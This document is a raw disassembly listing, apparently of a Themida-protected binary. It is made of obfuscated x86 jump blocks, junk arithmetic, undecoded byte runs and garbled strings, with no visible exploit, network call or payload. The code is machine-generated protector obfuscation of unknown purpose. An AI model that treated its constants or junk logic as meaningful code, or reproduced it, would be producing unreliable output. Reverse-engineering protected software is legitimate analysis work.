		dd 2474FF57h, 243C8B04h, 0C50CE9h, 8DF18000h, 0BFD0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556555:				; CODE XREF: Themida_:00551086j
		dec	edx
		shl	edx, 1
		jmp	loc_55BFA0
; ---------------------------------------------------------------------------


loc_55655D:				; CODE XREF: Themida_:0056142Cj
		mov	[esp], edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_551000
; ---------------------------------------------------------------------------


loc_556574:				; CODE XREF: Themida_:00563340j
		add	esp, 4
		jmp	loc_550DBC
; ---------------------------------------------------------------------------
aAaS		db 'пМ─мтИ',0Bh,'й',0
		align 2


loc_556586:				; CODE XREF: Themida_:00555843j
		add	eax, 0EFC27D9Dh
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559F9D
; ---------------------------------------------------------------------------
aLRtsZ		db '[▀,$RTИ!┤',0
		align 4


loc_5565A4:				; CODE XREF: Themida_:00557DDBj
		push	ecx
		mov	ecx, 71D46F6Fh
		shl	ecx, 4
		not	ecx
		add	ecx, 41B04091h
		add	edi, ecx
		pop	ecx
		add	esi, edi
		pop	edi
		sub	esi, 2B0F4A6Ch
		mov	edx, esi
		pop	esi
		mov	ebp, 5A703A91h
		xor	ebp, 0D246B6BAh
		add	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55F6EC
; ---------------------------------------------------------------------------


loc_5565DC:				; CODE XREF: Themida_:00560416j
		mov	ebx, 64946C1Dh
		add	ebx, 471169F5h
		xor	ebx, 8911E639h
		add	ecx, ebx
		pop	ebx
		push	eax
		push	edi
		mov	edi, 5C664DEh
		push	edx
		mov	edx, 7F153DA5h
		jmp	loc_55D7F4
; ---------------------------------------------------------------------------


loc_556602:				; CODE XREF: Themida_:00556023j
		mov	edi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 3C5A4C4Eh
		xor	edi, ebp
		pop	ebp
		neg	edi
		sub	edi, 2CE67F02h
		push	ebp
		mov	ebp, 0E7192A07h
		xor	edi, ebp
		pop	ebp
		add	eax, 64CF5CFEh
		add	eax, 66C22ADCh
		sub	eax, edi
		sub	eax, 66C22ADCh
		push	edx
		mov	edx, 1FF1306Eh
		jmp	loc_56395F
; ---------------------------------------------------------------------------
		db 81h
		dd 627F89F7h, 8BFE89F8h, 8DE9243Ch, 8900002Eh, 405E0h
		dd 0BA520000h, 1BCF6D13h, 6D0FEA81h, 0B2E91BCFh, 89FFFFA3h
		dd 2B82404h, 1000000h, 24048BC5h, 0E904C483h, 0E11Fh, 4C681h
		dd 5EE90000h, 66000069h, 2404B30Fh, 0A321E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55668E:				; CODE XREF: Themida_:0055B0CBj
		sub	al, ch
		pop	cx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	cx
		mov	cl, 0CBh
		sub	bl, cl
		pop	cx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0D4h
		add	bl, ch
		pop	ecx
		sub	bl, al
		sub	bl, 0D4h
		push	eax
		jmp	loc_562B1B
; ---------------------------------------------------------------------------


loc_5566BC:				; CODE XREF: Themida_:00563594j
		mov	eax, 52300B64h
		jmp	loc_555C32
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EA816602h, 0BDE90285h, 280000E3h, 240C8BEBh, 4C481h
		dd 0A9E90000h, 54000011h, 0FDBE95Dh, 29660000h,	0C38166D3h
		dd 0E95A17EAh, 0FFFFC361h, 0E904C483h, 23Eh
; ---------------------------------------------------------------------------


loc_556700:				; CODE XREF: Themida_:00551A1Cj
		sub	ebx, 5AB45DE0h
		push	edi
		mov	edi, 433E7501h
		jmp	loc_561051
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 1C4F215Ch, 57240C8Bh, 90C1E9h, 0FFE82000h, 0E9592434h
		dd 2EB6h, 0F0E9E089h
		db 96h,	2 dup(0)
byte_556733	db 0FFh			; DATA XREF: Themida_:005507A0o
		dd 0E9582434h, 0FFFFDA49h
; ---------------------------------------------------------------------------


loc_55673C:				; CODE XREF: Themida_:00562520j
		push	4DA8h
		mov	[esp], ebx
		jmp	loc_561399
; ---------------------------------------------------------------------------


loc_556749:				; CODE XREF: Themida_:0055243Cj
		mov	ebp, 79E65719h
		sub	ecx, 1E714284h
		push	eax
		jmp	loc_55D665
; ---------------------------------------------------------------------------


loc_55675A:				; CODE XREF: Themida_:0055848Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_559B35
; ---------------------------------------------------------------------------
		db 83h
		dd 0B8E904ECh, 520000F5h, 944CE6BAh, 5773E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55677E:				; CODE XREF: Themida_:00556D90j
		push	22F12BADh
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5549E4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 0E9000000h, 5083h,	5C241487h, 5C24048Fh, 9C240429h
		dd 0FFA1FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5567B1:				; CODE XREF: Themida_:0055BF49j
		mov	ebp, esp
		jmp	loc_55121E
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 6ACFh
; ---------------------------------------------------------------------------


loc_5567C0:				; CODE XREF: Themida_:0055A06Aj
		push	4916h
		mov	[esp], ecx
		jmp	loc_551DC8
; ---------------------------------------------------------------------------
		db 68h,	75h, 0Fh
		dd 14890000h, 176C6824h, 14890000h, 89F2E924h, 0F3810000h
		dd 1C79B7BAh, 806E9h, 54575A00h, 0B38EE9h, 0EFBA5200h
		dd 0F7014147h, 0F2814AD2h, 6D502625h, 0FFF5B3E9h, 76E952FFh
		dd 83000018h, 0C58004C4h, 18C0E94Dh, 875B0000h,	95C2414h
		dd 0C8B1C4Fh, 4C48324h,	599A68h, 1FA8E900h, 0C3810000h
		dd 4, 4EB81h, 1C870000h, 5E41E924h, 0B7530000h,	2EFC034h
		dd 8002E7C0h, 0B652C8CFh, 0D7F680CBh, 103AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55685D:				; CODE XREF: Themida_:0055D619j
		push	ebp
		jmp	loc_553BFC
; ---------------------------------------------------------------------------


loc_556863:				; CODE XREF: Themida_:00564AD1j
		sub	ebx, 54A012A6h
		pop	ebp
		shr	ebx, 1
		or	ebx, 31F027A8h
		jmp	loc_56176B
; ---------------------------------------------------------------------------


loc_556877:				; CODE XREF: Themida_:0055E569j
		mov	edi, 1
		push	eax
		jmp	loc_558F97
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 48E95502h
		db 19h,	2 dup(0)
byte_55688B	db 56h			; DATA XREF: Themida_:005508D4o
		dd 0FC424BBEh, 68D6875Bh, 6776h, 0F7241489h, 875A2414h
		dd 0F61CE9D6h, 0C481FFFFh, 4, 554BE9h, 14895C00h, 0A36824h
		dd 1C890000h, 8FB95124h, 0E92D444Ch, 0FFFFB815h, 5486D2F6h
		dd 0CAE90124h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5568D3:				; CODE XREF: Themida_:0055DBEBj
		sub	eax, ebp
		sub	eax, 4B3300DCh
		push	esi
		mov	esi, 7B9623F8h
		shl	esi, 7
		add	esi, 6C1D64B2h
		add	eax, esi
		mov	esi, [esp]
		push	esi
		jmp	loc_558244
; ---------------------------------------------------------------------------
aAfosK		db '─Д▌Имk',0
		align 4
		dd 4C481h, 0EBE90000h, 35000091h, 0BF45A68h, 586B892Dh
		dd 1B354810h, 0E92A2B5Ah, 0C518h
; ---------------------------------------------------------------------------


loc_55691C:				; CODE XREF: Themida_:0055F3AEj
		xchg	ch, [esp+1]
		not	ch
		xchg	ch, [esp+1]
		pop	cx
		push	edx
		mov	dh, 5Eh
		push	ebx
		mov	bl, 1Dh
		add	bl, 4Eh
		jmp	loc_55FD35
; ---------------------------------------------------------------------------


loc_556936:				; CODE XREF: Themida_:0056415Fj
		mov	edx, [esp]
		jmp	loc_551E53
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 24048B66h, 476A68h, 5C75E900h, 0C4830000h
		dd 24048704h, 0E924248Bh, 25CEh, 48E9C231h, 89FFFFA0h
		dd 0EDBA2414h, 815A7F24h, 0A33BBBCAh, 0CA58E930h, 0D3F60000h
		dd 5CE9C3FEh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556983:				; CODE XREF: Themida_:00552DE2j
		xor	edi, 0AF631ABh
		add	edi, 0EABC996Ch
		and	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_559ED3
; ---------------------------------------------------------------------------
dword_55699C	dd 592434FFh, 4A7F68h, 240C8900h, 0FFD91EE9h, 4C483FFh
					; DATA XREF: Themida_:005508C4o
		dd 2459E942h, 248B0000h, 9FF1E924h, 0C788FFFFh,	0FFF46FE9h
		dd 0CE015CFFh, 0A224E9h
		db 0
; ---------------------------------------------------------------------------


loc_5569CD:				; CODE XREF: Themida_:00556F32j
		pop	ebx
		neg	al
		push	edx
		mov	dl, 0E2h
		add	dl, 88h
		xor	al, dl
		jmp	loc_5516DB
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0Dh
		dd 7F7A1BF7h, 0E0603435h, 0BFB7E925h, 8158FFFFh, 4C4h
		dd 8A87E900h, 74FF0000h, 9E90424h, 890000C4h, 0BC0559CDh
		dd 0E96DF41Fh, 9266h, 0C95849BEh, 5BDE2964h, 5EE9F301h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556A1F:				; CODE XREF: Themida_:00556476j
		xchg	ecx, [esp]
		jmp	loc_55BA56
; ---------------------------------------------------------------------------


loc_556A27:				; CODE XREF: Themida_:0055346Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 47AA74D9h
		xor	eax, 52F9541Ch
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		mov	esi, eax
		jmp	loc_562FBD
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 0C124248Bh, 6E6805E6h, 0E900002Ch, 0EA9Eh
		dd 2C8BEA01h, 4A5AE924h, 0A9680000h, 8900001Ch,	6BE9243Ch
		dd 81FFFFC7h, 0CCC870F6h, 0ABB1E90Ch, 4BFFFFFh,	29000000h
		dd 0C875FF9h, 53E95C24h
		db 20h,	2 dup(0)
byte_556A9B	db 0FFh			; DATA XREF: Themida_:00550728o
a4Sw		db '4$Иwм',0
		db 0
; ---------------------------------------------------------------------------


loc_556AA3:				; CODE XREF: Themida_:0055AFEBj
		mov	dx, 194Dh
		shr	dx, 2
		jmp	loc_561A1C
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 2414F724h, 0E4E9555Ah, 810000E0h
		dd 2EBh, 241C8700h, 6624248Bh, 0E9240489h, 0FFFF9ED7h
; ---------------------------------------------------------------------------


loc_556AD8:				; CODE XREF: Themida_:0055E856j
		sub	esi, eax
		add	esi, 631B044Bh
		pop	eax
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_556AF8:				; CODE XREF: Themida_:00553530j
		add	dword ptr [esp+4], 132C1CF8h
		push	edi
		jmp	loc_55257C
; ---------------------------------------------------------------------------
aWs_n		db 'WИ_█',0
		align 4
		dd 1CAFBA52h, 0BE5679DDh, 35ED200Ah, 2849EE81h,	0D6F744DBh
		dd 3101E9h, 8BC10100h, 4BE92404h, 5800003Ah, 5C24048Fh
		dd 0E9243C33h, 0E10Ah
; ---------------------------------------------------------------------------


loc_556B3C:				; CODE XREF: Themida_:0055446Dj
		pop	esi
		pop	dword ptr [esp]
		xchg	ebp, esi
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, esi
		push	412Dh
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55FFDE
; ---------------------------------------------------------------------------
		dw 2B2h
aSla		db '(вИl═',0
		dw 8B00h
		dd 0C483243Ch, 4EC8104h, 89000000h, 56BE2434h, 564A0C4Eh
		dd 5E2414F7h, 24348756h, 3487D6F7h, 24348B24h, 0E904C483h
		dd 57DCh, 4C181h, 6EE90000h, 81FFFFF8h,	4C5h, 0EEB95100h
		dd 817DB53Bh, 0B53BECE9h, 59CD017Dh, 0E9242C87h, 91B1h
; ---------------------------------------------------------------------------


loc_556BC4:				; CODE XREF: Themida_:00550FECj
		pop	esi
		jmp	loc_55D3B8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 5A99185Fh, 0D87BE9h
		db 0
; ---------------------------------------------------------------------------


loc_556BD5:				; CODE XREF: Themida_:0055DEB9j
		mov	eax, 51A358FEh
		and	ebp, eax
		pop	eax
		add	ebp, 1
		push	ecx
		push	331857C3h
		jmp	loc_553BDC
; ---------------------------------------------------------------------------
aRsul		db 'RИ⌠L',0
		align 4
a5q_bsU		db '5О°.║И*⌠',0
		align 2


loc_556BFE:				; CODE XREF: Themida_:0055D997j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ebp, 9C01B473h
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_5638C3
; ---------------------------------------------------------------------------


loc_556C1B:				; CODE XREF: Themida_:0055EE2Ej
		sub	eax, 2A72F783h
		jmp	loc_555672
; ---------------------------------------------------------------------------
		db 81h,	0CDh, 55h
		dd 4D26C756h, 0E94DD5F7h, 0FFFFCC2Bh
; ---------------------------------------------------------------------------


loc_556C34:				; CODE XREF: Themida_:00558B92j
		mov	[esp], edi
		mov	edi, 4AB053F1h
		not	edi
		add	edi, 1
		xor	edi, 166024Bh
		xor	edi, 0B429AE40h
		push	ebp
		mov	ebp, 2C104874h
		sub	[esp+8], ebp
		pop	ebp
		add	[esp+4], edi
		add	dword ptr [esp+4], 2C104874h
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_55E5B5
; ---------------------------------------------------------------------------
		db 68h,	3Dh, 60h
		dd 14890000h, 0FFFFBA24h, 0C381FFFFh, 70761F06h, 0EB81D329h
		dd 70761F06h, 8324148Bh, 16804C4h, 89000024h, 0F3B82404h
		dd 56104E6Ah, 4B3EBEh, 5EF03150h, 5D81BD55h, 0E8090B82h
		dd 57D8F75Dh, 9C7AC4BFh, 6EFC123h, 47E9D7F7h, 4A000010h
		dd 0D2F7DAF7h, 1D10E9h,	7FED8100h, 81793A33h, 0ED14B3EDh
		dd 81CD0163h, 0ED14B3C5h, 7FC58163h, 8B793A33h,	8957240Ch
		dd 4C781E7h, 52000000h,	0BC78D2BAh, 0A9E1E977h,	24890000h
		dd 24048324h, 0EC815804h, 4, 0BF243C89h, 634A5543h, 3E0EEF81h
		dd 0F78119FBh, 13F74B18h, 0E906EFC1h, 0A616h
; ---------------------------------------------------------------------------


loc_556D3C:				; CODE XREF: Themida_:00564587j
		pop	ecx
		add	edi, eax
		pop	eax
		sub	ebx, 4A760A72h
		jmp	loc_554FF2
; ---------------------------------------------------------------------------


loc_556D4B:				; CODE XREF: Themida_:005591F7j
		xor	edi, 386C0C24h
		dec	edi
		shl	edi, 7
		not	edi
		jmp	loc_55E535
; ---------------------------------------------------------------------------
		dd 6093E981h, 0C7815AACh, 371E0DDCh, 20E9CF01h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556D6F:				; CODE XREF: Themida_:00554900j
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	39D3h
		mov	[esp], esi
		mov	esi, 4
		push	ebx
		jmp	loc_55677E
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 52515804h, 4BAh, 5AD18900h, 0F7E9C801h, 81FFFFF3h
		dd 4ECh, 241C8900h, 0CC243481h,	5D1A790Eh, 0ECCF581h, 0E95B1A79h
		dd 2FDAh
; ---------------------------------------------------------------------------


loc_556DCC:				; CODE XREF: Themida_:00551F9Bj
		mov	[esp], esi
		push	21CE5403h
		mov	esi, [esp]
		jmp	loc_561C54
; ---------------------------------------------------------------------------
		dd 4B9515Eh, 1000000h, 0EC8359C8h, 24048904h, 0BE565854h
		dd 4, 525EF001h, 8B74E9h, 24048100h, 4,	0E924348Bh, 91B2h
		dd 0C181E189h, 4, 3DBB5357h, 0E924DF0Ah, 86AFh
; ---------------------------------------------------------------------------


loc_556E20:				; CODE XREF: Themida_:0055537Dj
		mov	ebx, 866470Dh
		push	ebp
		mov	ebp, 67575F4Ch
		neg	ebp
		inc	ebp
		jmp	loc_55A2E7
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE8h, 104C483h,	41DE2DD8h, 0FEE939E2h, 81000038h
		dd 2206FAEEh, 52DE012Ch, 2206FABAh, 8BD6012Ch, 0D1E92414h
		dd 81000047h, 5A1ADFC1h, 0D0E95F05h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E6B:				; CODE XREF: Themida_:0055F80Cj
		pop	eax
		jmp	loc_55384A
; ---------------------------------------------------------------------------
byte_556E71	db 0E9h, 39h, 9Bh	; DATA XREF: Themida_:0055087Co
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E76:				; CODE XREF: Themida_:0055A678j
		pop	eax
		mov	eax, ebp
		pop	ebp
		jmp	loc_55D99C
; ---------------------------------------------------------------------------
		db 1
		dd 0B9515AD7h, 4, 34FFCF01h, 240C8B24h,	8304C483h, 48904ECh
		dd 5E08924h, 4,	0E904C083h, 18D5h, 5585450h, 4,	42Dh, 3A9CE900h
		dd 875A0000h, 248B241Ch, 4296624h, 0E4E99C24h, 0BFFFFF9Ah
		dd 40CC0FFCh, 815FF801h, 4ECh, 241C8900h, 0BC8BE955h, 8F540000h
		dd 4832404h, 348B0424h,	4C48124h, 81000000h, 4C6h, 0E0895000h
		dd 405h, 42D00h, 4870000h, 14895C24h, 0F0E95024h
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F13:				; CODE XREF: Themida_:00563ECDj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55B4EC
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFD852h
; ---------------------------------------------------------------------------


loc_556F28:				; CODE XREF: Themida_:0055FB00j
		add	esp, 4
		mov	al, 56h
		add	al, bl
		jmp	loc_5569CD
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 24248B24h, 24048B66h, 8904EC83h, 0E189240Ch
		dd 4BA52h, 0C1810000h, 2B47434Ch, 56ABC181h, 0D10108B0h
		dd 56ABE981h, 0E98108B0h, 2B47434Ch, 9D07E9h, 0E7895700h
		dd 3A0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_556F79:				; CODE XREF: Themida_:00561CE4j
		add	dx, ax
		sub	dx, 79B6h
		add	dx, 3E72h
		pop	eax
		xor	dx, 125Fh
		push	ecx
		mov	cx, 4168h
		dec	cx
		jmp	loc_55E96E
; ---------------------------------------------------------------------------
		dd 9A11E95Ch, 0DA31FFFFh, 0E9D0015Bh, 6643h
; ---------------------------------------------------------------------------


loc_556FA8:				; CODE XREF: Themida_:0055B818j
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 42C654DFh
		jmp	loc_561D0C
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 10A000FDh, 0C0741E2Dh, 5F80138h, 38C0741Eh, 7ED2E9h
		dd 0E0895000h, 405h, 4E88300h, 31240433h, 4332404h, 4895C24h
		dd 5FE95524h, 89000067h, 0EE815BDEh, 7B8A6119h,	0C681FE29h
		dd 7B8A6119h, 0D0BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557009:				; CODE XREF: Themida_:0056466Aj
		add	esp, 4
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_557011:				; CODE XREF: Themida_:0055B06Fj
		pop	ebp
		shr	ebp, 7
		sub	ebp, 0FFFFFFFFh
		jmp	loc_559041
; ---------------------------------------------------------------------------


loc_55701D:				; CODE XREF: Themida_:0055812Cj
		sub	bl, 9Dh
		pop	ax
		jmp	loc_560B4A
; ---------------------------------------------------------------------------


loc_557027:				; CODE XREF: Themida_:0055E090j
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	3B6D68DFh
		jmp	loc_5590FD
; ---------------------------------------------------------------------------


loc_55703B:				; CODE XREF: Themida_:005620BBj
		push	edx
		push	5230h
		mov	[esp], esp
		jmp	loc_551242
; ---------------------------------------------------------------------------
aWt_us		db 'WT_UИю<',0
		align 2


loc_557052:				; CODE XREF: Themida_:00563DDAj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	3A784228h
		push	dword ptr [esp]
		jmp	loc_563C9F
; ---------------------------------------------------------------------------


loc_557074:				; CODE XREF: Themida_:00561D1Bj
		push	edx
		push	eax
		mov	eax, 3C6E2562h
		mov	edx, 0E6704702h
		jmp	loc_563083
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 9Eh
		dd 294C8878h, 0C321E9D7h, 1489FFFFh, 0EB224h, 2434FFD0h
		dd 4C4835Ah, 61FF68h, 241C8900h, 476FE950h, 685F0000h
		dd 67C5h, 0FF243489h, 5E042474h, 8B24048Fh, 0BE0F2424h
		dd 4EC83C8h, 67CBE9h, 348B6600h, 4EC8124h, 89000000h, 0E0892404h
		dd 0BB86E9h
		db 0
; ---------------------------------------------------------------------------


loc_5570E1:				; CODE XREF: Themida_:0055FD91j
		push	edi
		mov	edi, 66DB6E05h
		push	0
		sub	[esp], edi
		pop	edi
		and	edi, 245309A7h
		dec	edi
		jmp	loc_55E296
; ---------------------------------------------------------------------------


loc_5570FC:				; CODE XREF: Themida_:00562F5Bj
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_553B08
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 1ECE4903h, 2D1AB850h, 254854D7h, 1599290Eh, 0E138E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557122:				; CODE XREF: Themida_:0055A16Fj
		push	edx
		push	4043h
		jmp	loc_55427C
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 2
		dd 6C42E9h, 4F0B6800h, 2FE94E87h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55713F:				; CODE XREF: Themida_:0055304Aj
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_55714F:				; CODE XREF: Themida_:005590F8j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0D785647h
		inc	ecx
		push	ebp
		mov	ebp, 132C3E0Ah
		or	ecx, ebp
		pop	ebp
		shr	ecx, 3
		jmp	loc_55BC3E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 4BE8E924h, 0ED810000h,	957AB923h
		dd 31E9EA89h, 4BFFFFC8h, 8108EBC1h, 6C33ABC3h, 5BDD897Ch
		dd 0E95D5955h, 36FEh, 0B8DDC381h, 2BE9C408h, 810000B0h
		dd 0B16DB7CBh, 0A6A9E902h, 0C1800000h, 0E9C9FE03h, 749Ch
		dd 4244C31h, 83240C8Bh,	0F3E904C4h, 89000091h, 4682434h
		dd 8B000000h, 0C4812434h, 4, 4B2AEB81h,	0F30175F2h, 4B2AC381h
		dd 348B75F2h, 0E9545024h, 2F54h
dword_5571F8	dd 81D830ACh, 4ECh, 0EE31E900h,	0E689FFFFh, 4C681h, 0C6810000h
					; DATA XREF: Themida_:005506DCo
		dd 4, 0E9243487h, 3FA8h, 0D7F75F5Dh, 5F5D5755h,	3E4BA52h
		dd 0E2C12211h, 49EA8108h, 15CD50Dh, 0E9015AD5h,	69B2E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55723E:				; CODE XREF: Themida_:00565958j
		xor	ah, 0D8h
		dec	ah
		jmp	loc_551B32
; ---------------------------------------------------------------------------
		dd 8F24248Bh, 248B2404h, 0E7895724h, 0AE22E9h, 81E38900h
		dd 4C3h, 4EB8300h, 5C241C87h, 68241C89h, 72A2h,	0E9240C89h
		dd 0FFFFCD80h, 0E908EDC1h, 0D2B6h, 53243C89h, 8B77C0BBh
		dd 0ED59BF5Eh, 0DF298842h, 0A7AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_557295:				; CODE XREF: Themida_:0055B560j
		mov	esi, [esp]
		jmp	loc_55C759
; ---------------------------------------------------------------------------
		db 66h,	0C1h, 0EAh
		dd 0EA816606h, 516627A0h, 0B966h, 66D12966h, 5966CA87h
		dd 99C28166h, 0E2C16656h, 22686602h, 1C89661Ch,	42BB6624h
		dd 0DA3166C2h, 5738E9h,	10B85000h, 2D0FBB23h, 9F32AB14h
		dd 5AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5572E1:				; CODE XREF: Themida_:00562FDEj
		mov	esi, 7FC51AB0h
		jmp	loc_55FE04
; ---------------------------------------------------------------------------


loc_5572EB:				; CODE XREF: Themida_:005629B4j
		mov	eax, 5A7176E5h
		xor	eax, edi
		pop	edi
		sub	ecx, 1D91040Eh
		jmp	loc_564A01
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 5B2434FFh, 7C068h, 24348900h, 0FFA0BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557311:				; CODE XREF: Themida_:00564075j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 37742AA8h
		add	ecx, edx
		push	dword ptr [esp]
		jmp	loc_55F17F
; ---------------------------------------------------------------------------
		dd 7EBF575Ch, 2922E07Bh, 0BB5EE9FAh, 0C0580000h, 88E907EBh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557343:				; CODE XREF: Themida_:00555207j
		push	ebx
		push	edx
		mov	dh, 0DFh
		shl	dh, 1
		jmp	loc_55889E
; ---------------------------------------------------------------------------
		dw 38B7h
		dd 4EC81h, 14890000h, 2CE95324h, 33FFFF9Dh, 34312434h
		dd 24343324h, 0A5A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_55736D:				; CODE XREF: Themida_:00558365j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_554329
; ---------------------------------------------------------------------------
byte_557377	db 66h			; DATA XREF: Themida_:005506FCo
		dd 5024048Bh, 54685854h, 8900003Ah, 4BE2434h, 1000000h
		dd 2434FFF0h, 0B5FCE9h,	0E9C22100h, 0BB9Ah
; ---------------------------------------------------------------------------


loc_55739C:				; CODE XREF: Themida_:0055BFBFj
		mov	[esp], esi
		push	917h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_563366
; ---------------------------------------------------------------------------


loc_5573B3:				; CODE XREF: Themida_:0055C5E7j
		mov	[esp], edi
		jmp	loc_550B74
; ---------------------------------------------------------------------------


loc_5573BB:				; CODE XREF: Themida_:0055C268j
		mov	edx, esp
		jmp	loc_55299A
; ---------------------------------------------------------------------------


loc_5573C2:				; CODE XREF: Themida_:0055FF33j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_565400
; ---------------------------------------------------------------------------


loc_5573D3:				; CODE XREF: Themida_:00559279j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 27745A6Bh
		push	6EFh
		mov	[esp], ebp
		jmp	loc_560894
; ---------------------------------------------------------------------------
		db 0E9h, 0B5h, 95h
		dd 0EB81FFFFh, 652E2B48h, 0C381C301h, 652E2B48h, 5124048Bh
		dd 0DEF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_557411:				; CODE XREF: Themida_:00555267j
		pop	ebp
		shl	ebx, 4
		shr	ebx, 8
		add	ebx, 0FF33FC53h
		push	526Ah
		jmp	loc_5587B5
; ---------------------------------------------------------------------------


loc_557428:				; CODE XREF: Themida_:0055B3B5j
		shr	eax, 3
		dec	eax
		push	0
		sub	[esp], eax
		pop	eax
		shl	eax, 1
		jmp	loc_555841
; ---------------------------------------------------------------------------
		dd 623F73BFh, 2E94F23h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557447:				; CODE XREF: Themida_:00558DD8j
		xor	edx, 0FF7C372Fh
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_5520CD
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 59CD895Fh, 0D9E9E801h, 31FFFFD1h, 815E5EF1h,	5C23BCE1h
		dd 5BE18138h, 0E946782Bh, 20D3h, 875AD301h, 5E9241Ch, 68FFFFFBh
		dd 3B1Ch, 50243489h, 0F810B7B8h, 0E9D0F737h, 0DEA4h
; ---------------------------------------------------------------------------


loc_5574A8:				; CODE XREF: Themida_:0055861Aj
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 217A2787h
		add	edx, edi
		pop	edi
		add	edx, edi
		jmp	loc_5518A3
; ---------------------------------------------------------------------------
		dw 0E328h
		dd 8BFBC380h, 0C4832404h, 0E02AE904h, 0BF570000h, 4, 505FF801h
		dd 42474FFh, 24048F58h,	74FF525Ch, 4BE90424h, 50FFFFDFh
